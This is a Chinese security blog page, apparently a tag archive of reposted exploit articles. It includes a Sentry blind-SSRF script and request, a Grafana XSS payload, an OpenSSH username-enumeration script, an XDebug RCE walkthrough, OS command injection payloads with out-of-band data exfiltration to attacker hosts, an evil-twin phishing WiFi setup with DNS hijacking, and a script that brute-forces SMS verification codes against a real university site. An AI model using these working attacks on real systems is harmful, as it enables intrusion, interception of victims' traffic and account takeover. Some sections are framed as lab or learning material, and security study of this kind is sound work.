Sentry SSRF

Jan 19, 2024

Sentry SSRF

本文转自Mysticbinary 并作补充

What is Sentry

Sentry 是一个实时的事件日志和聚合平台，基于 Django 构建。一般在url上、或者logo上看到有sentry都可以用它的exp试试，原理是由于sentry默认开启source code scrapping ，导致可以从外部进行blind ssrf请求。

exp testing

1
2
3

(python3) ➜  sentrySSRF git:(master) python sentrySSRF.py -i http://【your target url】 -d
Found Sentry: https://ef00ffc3xxxxxe5b60afff8c138c77e@【your target url】/1
Enter your burpcollaborator address:【your dnslog】

然后去你到dnslog看看有没有请求记录即可。

exp源码参考：
配置如下：

import requests
import re

if __name__ == "__main__":
    s = "https://a8d729459beb446eb3cbb9df997dcc7b@sentry.mindworks.xyz/1"
    collaborator = "dp6sk5k006h6dcq3bdu6e6a9t0zqnf.burpcollaborator.net"
    key = re.search('https://(.*)@', s)
    domain = re.search('@(.*)/', s)
    number = re.search('/(.*)', s[8:])
    url = "https://" + domain.group(1) + "/api/" + number.group(1) + "/store/?sentry_key=" + key.group(1) + "&sentry_version=7"
    print(url)
    datas = {"extra":{"component":"redux/actions/index","action":"RegisterDeviceWeb","serialized":{"code":"INVALID_CREDENTIALS","details":[]}},"fingerprint":["3cbf661c7f723b0a5816c16968fd9493","Non-Error exception captured with keys: code, details, message"],"message":"Non-Error exception captured with keys: code, details, message","stacktrace":{"frames":[{"colno":218121,"filename":"http://"+collaborator,"function":"?","lineno":1}]},"exception":{"values":[{"value":"Custom Object","type":"Error"}]},"event_id":"d0513ec5a3544e05aef0d1c7c5b24bae","platform":"javascript","sdk":{"name":"sentry.javascript.browser","packages":[{"name":"npm:@sentry/browser","version":"4.6.4"}],"version":"4.6.4"},"release":"6225dd99","user":{"phash":"996a3f4661e02cb505ae0daf406555e9b914f9d43d635c52cfc7485046862a7f"},"breadcrumbs":[{"timestamp":1554226659.455,"category":"navigation","data":{"from":"/","to":"/login"}}]}
    headers = {'Content-type': 'application/json', 'Origin':'https://z.tochka.com/'}
    rsp = requests.post(url, json=datas, headers=headers)

To Build blind http pack

POST /api/1/store/?sentry_version=7&sentry_client=raven-js%2f3.15.0&sentry_key=【your key】 HTTP/1.1
Host: 【your target url】.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Content-type: application/json
Origin:【随意domain】
Content-Length: 329

{"project":"30","logger":"javascript","platform":"javascript","exception":{"values":[{"type":"Error","value":"Trying to get control scope but angular isn't ready yet or something like this","stacktrace":{"frames":[{"filename":"http://【your dnslog】","lineno":110,"colno":81071,"function":"XMLHttpRequest.o","in_app":true}]}}]}}

sentry_version = 红线2 （报错可以手动修改几个其他版本试试）
sentry_key = Raven.config 红线1
origin = 可以随便写

Repair

1、sentry关闭 source code scrapping；
2、保证配置文件中的黑名单不为空：/sentry/conf/server.py

Reference

https://hackerone.com/reports/374737
https://github.com/xawdxawdx/sentrySSRF

Grafana 存储型XSS漏洞（CVE-2020-11110）

Jan 19, 2024

Grafana 存储型XSS漏洞（CVE-2020-11110）

本文转自starnight_cyber 并作补充

Preface

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
1
2
3
4
5
6
CVE编号：
    CVE-2020-11110
影响范围：
    Grafana v6.2.5
Links
    https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

复现记录

测试环境部署

1
2

payload => 
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}

Stored-XSS

替换 url 中的 localhost，访问快照地址，点击链接🔗图标。 Stored-XSS。

snapshot 快照删除

访问 deleteUrl：

http://103.210.xx.xx:3000/api/snapshots-delete/o3ITlrkiwgJexFmCJxr4gsNZ8QDcc0eQ

可以删除 snapshot，这里算是个严重程度更高的漏洞。

修复方案

版本升级。

Refer

https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html

以上！

Exploit Grafana Reprint XSS

OpenSSH用户名枚举及其检测方法（CVE-2018-15473）

Jan 19, 2024

OpenSSH用户名枚举及其检测方法（CVE-2018-15473）

本文转自testerzhang 并作补充

OpenSSH 7.7前在接收到畸形的认证请求包时，会根据用户名的存在与否给出不同的响应，由此导致通过SSH服务枚举服务器的用户名。

ssh-check-username.py 使用说明

安装依赖包 pip install paramiko==2.0.8

语法：python ssh_checkusername.py ip username –port 22

脚本

#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.


import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

验证说明：

如果服务器存在的用户，则脚本会返回Valid username

如果服务器不存在的用户，则脚本会返回Invalid username
如果升级ssh版本之后：

如果服务器存在的用户，则脚本会返回Valid username

如果服务器不存在的用户，则脚本会返回Valid username

Exploit OpenSSH Reprint

MQTT未授权漏洞利用

Jan 19, 2024

MQTT未授权漏洞利用

本文转自唐小风并作补充

1、扫描端口

2、mqtt-pwd安装

git clone https://github.com/akamai-threat-research/mqtt-pwn.git
cd mqtt-pwd
docker-compose up --build --detach
docker-compose run cli

discovery
scans
scans -i 1
topics

Exploit MQTT RCE Reprint

111端口rpcbind漏洞

Dec 7, 2023

111端口rpcbind漏洞

本文转自Mamba start 并作补充

简介

rpcbind是NFS中用来进行消息通知的服务

实验环境

攻击机：kali linux
ip:192.168.172.134
目标机：Metasploittable2
ip:192.168.172.129

攻击过程

step1:使用nmap探测

命令：nmap 192.168.172.129

命令：nmap -sV -p 111 192.168.172.129

命令：nmap -p 111 --script=rpcinfo 192.168.172.129

step2:metasploit模块探测

启动msf

命令：use auxiliary/scanner/misc/sunrpc_portmapper

命令：show options

本文讲的是只需60字节就可通过rpcbind让服务器崩溃，全世界的人都知道这玩意儿的用处，人们就这么任由它一直开着，无语。所以，要么补上，要么关闭吧。

写在后面

向rpcbind服务的UDP套接字发送60字节载荷，便可填充目标内存，搞崩主机系统。
圭多·乌兰肯，该漏洞发现者兼“Rpcbomb”漏洞利用程序开发者，抱怨称该软件包维护者毫无反应，他不得不自己写了补丁。

漏洞利用&补丁：https://github.com/guidovranken/rpcbomb

他写道，Shodan搜索发现，互联网上开放 rpcbind 111 端口的主机有180万台。其中大多数都运行在AWS之类大规模托管上，用户总是直接沿用Linux发行版的默认配置(111端口开放)。

如果你真的需要使用rpcbind服务(将远程过程调用RPC与地址绑定)，就把它置于防火墙后，限制111端口对外开放吧。最好就是直接关了。

GitHub上的补丁足够小，开发者们应该可以验证这些补丁的短小精悍：rpcbind只需要两行代码就能修复，不像libtirpc要256行。

乌兰肯称，该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB)，除非进程崩溃，或者管理员挂起/重启rpcbind服务，否则该内存不会被释放。

当然，除了不断占用目标系统的内存，攻击者还可以干别的事，因为有些软件在内存分配失败的时候，是会发生不可预知的错误的。

DOS Exploit RPCBind Reprint

XDebug 远程调试漏洞（代码执行）

Dec 7, 2023

XDebug 远程调试漏洞（代码执行）

本文转自joker0xxx3 并作补充

简介

XDebug是PHP的一个扩展，用于调试PHP代码。如果目标开启了远程调试模式，并设置remote_connect_back = 1：
1
2
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下，我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm，目标服务器的XDebug将会连接访问者的IP（或X-Forwarded-For头指定的地址）并通过dbgp协议与其通信，我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

更多说明可参考：

[[https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface\]](https://ricterz.me/posts/Xdebug%3A A Tiny Attack Surface])(https://ricterz.me/posts/Xdebug%3A A Tiny Attack Surface)

https://xdebug.org

漏洞利用

启动完成后，访问http://192.168.44.132:8080/即可发现主页是一个简单的phpinfo，在其中可以找到xdebug的配置，可见开启了远程调试。

因为需要使用dbgp协议与目标服务器通信，所以无法用http协议复现漏洞。

我编写了一个漏洞复现脚本，指定目标web地址、待执行的php代码即可：
1
2
# 要求用python3并安装requests库
python3 exp.py -t http://192.168.44.132:8080/index.php -c 'shell_exec('id');'
重要说明：因为该通信是一个反向连接的过程，exp.py启动后其实是会监听本地的9000端口（可通过-l参数指定）并等待XDebug前来连接，所以执行该脚本的服务器必须有外网IP（或者与目标服务器处于同一内网）。

Exploit RCE Reprint XDebug

PortSwigger Academy | OS command injection 操作系统命令注入

Dec 7, 2023

PortSwigger Academy | OS command injection : 操作系统命令注入

本文转自en0_0 并作补充

总结

&name=1&email=1%401.com||ping+-c+10+127.0.0.1||&subject=1 有时候需要url编码

productId=1&storeId=1|whoami POST方法不能用&

在本节中，我们将解释什么是OS命令注入，描述如何检测和利用漏洞，为不同的操作系统拼写一些有用的命令和技术，并总结如何防止OS命令注入。

什么是OS命令注入？

操作系统命令注入（也称为外壳程序注入）是一个Web安全漏洞，它使攻击者可以在运行应用程序的服务器上执行任意操作系统（OS）命令，并且通常会完全破坏该应用程序及其所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其他部分，利用信任关系将攻击转移到组织内的其他系统。

执行任意命令

考虑一个购物应用程序，该应用程序使用户可以查看特定商店中某商品是否有库存。该信息可通过如下网址访问：

https://insecure-website.com/stockStatus?productID=381&storeID=29

为了提供库存信息，应用程序必须查询各种旧系统。由于历史原因，该功能是通过使用产品和存储ID作为参数调用shell命令来实现的：

stockreport.pl 381 29
此命令输出指定项目的库存状态，并返回给用户。

由于该应用程序无法防御OS命令注入，因此攻击者可以提交以下输入以执行任意命令：

& echo aiwefwlguh &

如果此输入是在productID参数中提交的，那么应用程序执行的命令是：

stockreport.pl & echo aiwefwlguh & 29

echo命令只是使提供的字符串在输出中回显，并且是测试某些类型的OS命令注入的有用方法。 & 字符是shell命令分隔符，因此执行的实际上是一个接一个的三个独立命令。结果，返回给用户的输出为：
1
2
3
Error - productID was not provided
aiwefwlguh
29: command not found
输出的三行表明：

原始的stockreport.pl命令在没有预期参数的情况下执行，因此返回了错误消息。

执行注入的echo命令，并且在输出中回显提供的字符串。

原始参数29作为命令执行，从而导致错误。

通常，将附加命令分隔符&放置在注入命令之后是很有用的，因为这会将注入命令与注入点后面的内容分开。这减少了随后发生的事件阻止注入的命令执行的可能性。

Lab: OS command injection, simple case

productId=1&storeId=1|whoami

有用的命令

当您确定了OS命令注入漏洞后，通常可以执行一些初始命令来获取有关您受到破坏的系统的信息。以下是在Linux和Windows平台上有用的一些命令的摘要：

命令目的 Linux Windows

当前用户的名称 whoami whoami

操作系统 uname -a ver

网络配置 ifconfig ipconfig / all

网络连接 netstat -an netstat -an

运行进程 ps -ef tasklist

命令目的	Linux	Windows
当前用户的名称	whoami	whoami
操作系统	uname -a	ver
网络配置	ifconfig	ipconfig / all
网络连接	netstat -an	netstat -an
运行进程	ps -ef	tasklist

操作系统命令注入漏洞盲注

OS命令注入的许多实例都是盲注的漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。盲注漏洞仍然可以被利用，但是需要不同的技术。

考虑一个允许用户提交有关该站点的反馈的网站。用户输入他们的电子邮件地址和反馈消息。然后，服务器端应用程序会向站点管理员生成一封包含反馈的电子邮件。为此，它使用提交的详细信息调出邮件程序。例如：

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

mail命令的输出（如果有）不会在应用程序的响应中返回，因此使用echo有效负载将无效。在这种情况下，您可以使用多种其他技术来检测和利用漏洞。

使用时间延迟检测盲注OS命令注入

您可以使用注入的命令来触发时间延迟，从而允许您根据应用程序响应的时间来确认命令已执行。 ping命令是执行此操作的有效方法，因为它使您可以指定要发送的ICMP数据包的数量，从而指定该命令运行所花费的时间：

& ping -c 10 127.0.0.1 &

此命令将导致应用程序ping其环回网络适配器10秒钟。

Lab: Blind OS command injection with time delays

1	csrf=j25Ci6owysrme8z4HvkicgC1hqXWr0Yz&name=1&email=1%401.com\|\|ping+-c+10+127.0.0.1\|\|&subject=1&message=1

通过重定向输出来利用盲注OS命令注入

您可以将注入命令的输出重定向到Web根目录下的文件中，然后可以使用浏览器进行检索。例如，如果应用程序从文件系统位置/var/www/static提供静态资源，则可以提交以下输入：

& whoami> /var/www/static/whoami.txt &

>字符将whoami命令的输出发送到指定文件。然后，您可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件，并查看注入命令的输出。

Lab: Blind OS command injection with output redirection

1	&email=1%401.com\|\|whoami+>+/var/www/images/whoami.txt\|\|&

利用带外（OAST）技术利用盲目的OS命令注入

您可以使用注入的命令，通过OAST技术触发与您控制的系统的带外网络交互。例如：

& nslookup kgji2ohoyw.web-attacker.com &

此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视是否发生了指定的查找，从而检测到命令已成功注入。

Lab: Blind OS command injection with out-of-band interaction

带外通道还提供了一种从注入的命令中提取输出的简便方法：
(根本别啥用)

& nslookup whoami.kgji2ohoyw.web-attacker.com &

这将导致对DNS的攻击者所在域进行域名查询，其中包含whoami命令的结果：
1
wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

1	email=1%401.com\|\|nslookup+`whoami`.132kftea48t801xjselcncwfp6vwjl.burpcollaborator.net\|\|

注入OS命令的方式

各种shell字符可用于执行OS命令注入攻击。

许多字符用作命令分隔符，使命令可以链接在一起。以下命令分隔符可在基于Windows和Unix的系统上运行：
&
&&
|
||
以下命令分隔符仅在基于Unix的系统上起作用：
;
Newline (0x0a or \n)
在基于Unix的系统上，您还可以使用反引号或美元字符在原始命令中内嵌执行注入命令：（原来如此，windows不能用反引号）
1
2
`injected-command`
$( injected-command )
请注意，不同的shell元字符具有细微不同的行为，这些行为可能会影响它们是否在某些情况下起作用，以及它们是否允许带内检索命令输出或仅对盲注使用有用。

有时，您控制的输入会出现在原始命令的引号中。在这种情况下，需要先使用引号终止上下文（使用”或’），然后再使用适当的外壳元字符来插入新命令。

如何防止OS命令注入攻击

到目前为止，防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。几乎在每种情况下，都有使用更安全的平台API来实现所需功能的替代方法。

如果认为无法通过用户提供的输入调出OS命令，则必须执行强大的输入验证。有效验证的一些示例包括：

根据允许值的白名单进行验证。

验证输入是否为数字。

验证输入仅包含字母数字字符，不包含其他语法或空格。

切勿尝试通过转义shell元字符来清理输入。实际上，这太容易出错，容易被熟练的攻击者绕开。

Exploit RCE Reprint

配置EMQX服务器用户名/密码方式登录

Dec 7, 2023

配置EMQX服务器用户名/密码方式登录

本文转自GEEK.攻城狮并作补充

配置环境

系统：ubuntu 18.04server lts

EMQX版本：v4.0.6

停止服务

emqx stop

编辑用户名密码配置文件

vim ./etc/emqx/plugins/emqx_auth_username.conf

增加用户名、密码，密码算法改为plain，透传

关闭匿名登录

vim /etc/emqx/emqx.conf

查找allow_anonymous，修改为false

启动emqx服务
1
emqx start
进入后台管理界面，启动用户名密码认证。
1
http://服务器IP:18083

此时，使用MQTT之前的匿名方式的配置，已经无法登录

MQTT.FX上，添加用户名密码：

此时可以通过用户名密码登录，订阅主题

同样的方式，我们需要再添加一个用户，用于两个用户之间通讯。

我们可以从服务器端登录一个用户，向MQTT.FX客户端订阅的TOPIC发送信息。可以看到正常收到。

EMQX Exploit Reprint

kali搭建钓鱼WiFi

Dec 6, 2023

kali搭建钓鱼WiFi

本文转自逍遥子并作补充

如何在kali下快速搭建钓鱼WiFi呢？全网最简单最详细的教程核能来袭。一起来看看吧。

准备

USB无线网卡（推荐8187 3070）

hostapd dnsmasq apache2

kali2020(最新版)

配置无线网卡

在终端执行 ifconfig查看是否有 wlan0如果存在，我们需要激活为监听模式。执行命令：
1
airmon-ng start wlan0

配置hostapd

1	vim hostapd.conf

写入下面内容

interface=wlan0mon
driver=nl80211
ssid=Chinanet #无线名称 随意即可
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0

配置dnsmasq文件

终端执行

1	vim dnsmasq.conf

写入内容如下：

interface=wlan0mon
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

配置防火墙和端口转发

1
2
3

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

这样做的目的是保证我们的鱼儿能够正常上网。

给无线网卡分配IP地址

1 2	ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

启动钓鱼热点

1
hostapd hostapd.conf
这样我们便可以看到有一个 china-net的热点，但是不能连接，不要着急，我们启动dnsmasq即可。
1
dnsmasq -C dnsmasq.conf -d
这样，我们的热点便可以正常连接并上网了。

左边为连接的设备，右边有设备访问的网站信息。

高级操作

嗅探目标图片

在终端执行
1
driftnet -i wlan0mon
便可以看到目标访问的站点图片信息。

中间人攻击

域名重定向

修改 /etc/ettercap/etter.dns文件，添加内容如下：
1
2
3
baidu.com      A   192.168.1.1
*.baidu.com    A   192.168.1.1
www.baidu.com  PTR 192.168.1.1
即，当我们访问百度，自动跳转到本地。
开启本地 apache
1
service apache2 start
将做好的钓鱼页面放到 /var/www/html目录下，然后终端执行 ettercap -G利用 ettercap进行DNS劫持，具体做法这里不再诉述。

当然，你也可以对目标进行数据包的捕获和分析，我们这里也不再说了。

填个坑

有不少人搭建完成后，反应上不了网，是因为dns冲突了。如你家的路由器的网段是192.168.1.1/24而在dns的配置文件中dhcp-option=3, 192.168.1.1这样会冲突，解决办法很简单，把192.168.1.1改成其他网段就行了，如192.168.5.1，但是后面的规则也要改。最简单的方法就是登陆路由器，将lan口地址192.168.1.1改掉就行了！

Exploit Fishing Reprint WiFi

记一次使用Burpsuite下的插件Turbo intruder进行实战

Dec 6, 2023

记一次使用Burpsuite下的插件Turbo intruder进行实战

本文转自酷酷的繁星并作补充

相信很多师傅在进行渗透测试或者漏洞挖掘的时候都会用到burpsuite这款神器，但是不知道师傅们用过burpsuite里面一款叫turbo intruder的插件么

不管这些，今天看了这篇文章的师傅我相信也会对这款插件有兴趣

安装教程等等的文章在各大论坛一找一大堆，但是实战的又有几个呢，对吧？

今天繁星就给大家带来turbo intruder实战教程

目标站点是某科技大学的站点

首先我们打开这个站点的首页看看

可以看到有注册按钮

我们点进去看看

然后在这里推荐师傅们一个很便利的短信接收平台

https://www.bfkdim.com/

好的，继续

手机号那里我们就填这个平台里面的一个手机号

开启我们的burpsuite，点“立即注册”抓个包

选择验证码右键

发送到turbo intruder

我们这边不同官方的代码

爆破验证码只需生成数字的所有排列组合就可以了，可以通过以下代码来生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from itertools import product

def brute_veify_code(target, engine, length):
   pattern = '1234567890'
   for i in list(product(pattern, repeat=length)):
        code =  ''.join(i)
        engine.queue(target.req, code)

def queueRequests(target, wordlists):
   engine = RequestEngine(endpoint=target.endpoint,
           concurrentConnections=30,
           requestsPerConnection=100,
           pipeline=True
           )
   brute_veify_code(target, engine, 6)

def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
 if 'error' not in req.response:
      table.add(req)
复制这段代码替换掉默认的

然后点击最下方攻击

我们可以看到各种数据，这速度反正我是爱了，师傅们还没爱吗

我们可以看到响应包，没有什么限制，所以我们可以继续进行枚举

PS：拿turbo intruder枚举有时候会崩，不用慌，关掉再来一遍就行了

由于本人电脑配置太水加上网络慢，所以还没枚举完验证码就过期了，跟我一样的师傅可以尝试多几次

经过两个小时的奋战后，终于…….

被ban了

没有办法只能换个手机号继续搞

重复做了一遍之后

当我再点击获取验证码，提示该手机号已经注册，这意味着什么？意味着刚刚的枚举成功了，我们回到turbo intruder找下响应包

响应包的字节是55，与其它的包不一样所以就是这个了

可以看到响应包，提示success

再看看其它的响应包

这个字节76的是验证码错误

字节88的是该手机已被注册

我们会发现前面的全是字节76后面的全88那我们要在76和88的交界部分找成功的包

另外，再声明一下，这篇文章是介绍turbo intruder的实战，重点在turbo intruder，有的师傅可能会觉得注册处爆破验证码并没什么用，但是大家想想，注册处爆破验证码的原理和找回密码处爆破验证码的原理有什么区别？再大胆点想象一下，要是管理员登录处有找回密码这一功能呢？对吧？

Burpsuite Exploit Reprint

- Exploit -

Sentry SSRF

What is Sentry

exp testing

To Build blind http pack

Repair

Reference

Grafana 存储型XSS漏洞（CVE-2020-11110）

Preface

复现记录

测试环境部署

Stored-XSS

snapshot 快照删除

修复方案

Refer

OpenSSH用户名枚举及其检测方法（CVE-2018-15473）

ssh-check-username.py 使用说明

脚本

验证说明：

MQTT未授权漏洞利用

1、扫描端口

2、mqtt-pwd安装

111端口rpcbind漏洞

简介

实验环境

攻击过程

step1:使用nmap探测

step2:metasploit模块探测

写在后面

XDebug 远程调试漏洞（代码执行）

简介

漏洞利用

PortSwigger Academy | OS command injection : 操作系统命令注入

总结

什么是OS命令注入？

执行任意命令

Lab: OS command injection, simple case

有用的命令

操作系统命令注入漏洞盲注

使用时间延迟检测盲注OS命令注入

Lab: Blind OS command injection with time delays

通过重定向输出来利用盲注OS命令注入

Lab: Blind OS command injection with output redirection

利用带外（OAST）技术利用盲目的OS命令注入

Lab: Blind OS command injection with out-of-band interaction

Lab: Blind OS command injection with out-of-band data exfiltration

注入OS命令的方式

如何防止OS命令注入攻击

配置EMQX服务器用户名/密码方式登录

配置环境

停止服务

编辑用户名密码配置文件

关闭匿名登录

此时，使用MQTT之前的匿名方式的配置，已经无法登录

kali搭建钓鱼WiFi

准备

配置无线网卡

配置hostapd

配置dnsmasq文件

配置防火墙和端口转发

给无线网卡分配IP地址

启动钓鱼热点

高级操作

嗅探目标图片

中间人攻击

域名重定向

填个坑

记一次使用Burpsuite下的插件Turbo intruder进行实战